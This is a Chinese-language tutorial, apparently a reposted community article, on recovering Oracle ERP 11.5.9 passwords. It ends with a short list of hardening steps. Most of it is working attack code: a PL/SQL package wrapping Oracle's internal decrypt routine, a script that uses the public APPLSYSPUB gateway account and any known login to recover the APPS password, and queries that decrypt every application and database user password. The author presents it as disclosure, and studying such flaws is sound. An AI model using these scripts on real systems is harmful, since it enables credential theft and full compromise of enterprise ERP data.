破解Oracle ERP密碼

來源:互聯網
上載者:User
1. 寫作目的

2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下

(1).建立Package Header

(2).建立Package Body.

3. 取得APPS密碼的步驟

4. 通過任何一個User name/password取得APPS密碼的方法

5. 通過FND_USER:ENCRYPTED_USER_PASSWORD取得純文字密碼的方法

6. 通過上面建立的Package取得所有Oracle ERP Application User 密碼的方法

7. 通過上面建立的Package取得所有Oracle ERP Database User密碼的方法

8. 刪除第一步建立的Package

9. 結論

10. 提高Oracle ERP的安全性

11. 此程式在Oracle ERP 11.5.9通過Toad測試通過

1。1.寫作目的

在要不要寫出來讓大家知道這個問題上想了很久, 但一想到遲早密碼破解的方法還是會被人知道的,與其讓少部分人知道,還不如讓大家都知道,事先好作防範.

公布密碼破解方法的目的還是想讓Oracle ERP做得更安全一點,讓我們大家放心的去用,畢竟是幾千萬的東西,現在的安全性顯然還達不到使用者的要求. 想借大家的力量給Oracle施加一點壓力,以將Oracle ERP的各個版本改得安全一點.

2. 2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下

(1).建立Package Header

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END CrackPwd;

(2).建立Package Body

CREATE OR REPLACE PACKAGE BODY CrackPwd

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2

AS

LANGUAGE JAVA

NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END CrackPwd;

/

3. 3. 取得APPS密碼的步驟

假設現在什麼Oracle erp許可權都沒有,怎麼去知道oracle erp databaes的許可權呢? 我們知道Oracle erp提供了一個database的公用賬戶(gateway user),此賬戶擁有database的最小許可權,這個公用帳號是: APPLSYSPUB/PUB(oracle erp網頁中或URL中都有公開此賬戶),雖然此賬戶沒有什麼許可權,但卻有FND_USER_VIEW 的查詢許可權,通過這個view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD欄位,問題就出在這個view的ENCRYPED_FOUNDATION_PASSWORD欄位上, ENCRYPED_FOUNDATION_PASSWORD這個欄位是由APPS的密碼和使用者密碼一起通過密碼編譯演算法得出的結果, 因此只要知道Oracle ERP的解密演算法就可以通過fnd_user中任何一個user的password反查apps的密碼.,而要知道fnd_user中任何一個user的密碼是太簡單的事了,在erp安裝時就預設了很多賬戶,這些賬戶的user name和password都是一樣的,一般沒有人去改這些賬戶的密碼

4. 4. 通過任何一個User name/password取得APPS密碼的方法

SET SERVEROUTPUT ON

DECLARE

guestUserPwd VARCHAR2(200);

guestUserName VARCHAR2(100);

guestFndPwd VARCHAR2(100);

guestEncFndPwd VARCHAR2(100);

delim NUMBER;

BEGIN

guestUserPwd :='GUEST/ORACLE';--Can any user password

IF guestUserPwd IS NULL THEN

guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

END IF;

delim := INSTR(guestUserPwd,'/');

guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

SELECT encrypted_foundation_password INTO guestEncFndPwd

FROM fnd_user_view

WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

(end_date IS NULL OR end_date > SYSDATE);

guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

IF NOT (guestFndPwd IS NULL) THEN

DBMS_OUTPUT.put_line(guestFndPwd);

END IF;

END;

注: guestUserPwd :='GUEST/ORACLE';--Can any user password

上面這一行可以改成任何一個User的username/password,帳號和密碼之間用”/”隔開

以上程式可以用toad執行

5. 5. 通過FND_USER:ENCRYPTED_USER_PASSWORD取得純文字密碼的方法

SET SERVEROUT ON

DECLARE

v_encrypted_pwd VARCHAR2 (100);

v_apps_pwd VARCHAR2 (100);

v_user_pwd VARCHAR (100);

BEGIN

v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58

3C10B916D88062771250F4BE653891CA90671C74187B132118335';

--get ENCRYPTED_USER_PASSWORD from fnd_user

IF v_apps_pwd IS NULL

THEN

v_apps_pwd := 'APPS';

END IF;

v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);

DBMS_OUTPUT.put_line (v_user_pwd);

END;

6. 6. 通過上面建立的Package取得所有Oracle ERP Application User 密碼的方法

SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user

7. 7. 通過上面建立的Package取得所有Oracle ERP Database User密碼的方法

select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou

8. 8. 刪除第一步建立的Package

DROP PACKAGE CrackPwd

9. 9. 結論

11).只要知道fnd_user中任何一個人的密碼就可以反推APPS的密碼,即使將database中apps密碼改掉也可以反推.
22).反過來只要知道了apps的密碼,fnd_user中所有user的密碼都可以反推
33).以此類推,只要知道fnd_user中任何一個人的密碼就可以反推其它所有User的密碼.
44).同理,oracle erp db user(table:fnd_oracle_userid)中密碼的密碼編譯演算法同fnd_user,也就是說只要知道了APPS的密碼,則db user的所有密碼都可以反推.

1010. 提高Oracle ERP的安全性

(1).更改APPS的密碼

(2).更改所有預先安裝的fnd_user中所有user的password

(3).更改oracle erp database中的所有user(通過table:fnd_oracle_userid進行查詢)的password

(4).更改在Profile: GUEST_USER_PWD 中預先設定的GUEST賬戶密碼

(5).盡量不要將Database 可以通過公網串連.

(6).User離職後要將其密碼變更後才停用.

但此方法也無法防止內部User知道APPS密碼,只有當你所有密碼都更改過了,你才敢在公網上串連ERP的Database.

11.此程式在Oracle ERP 11.5.9通過

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.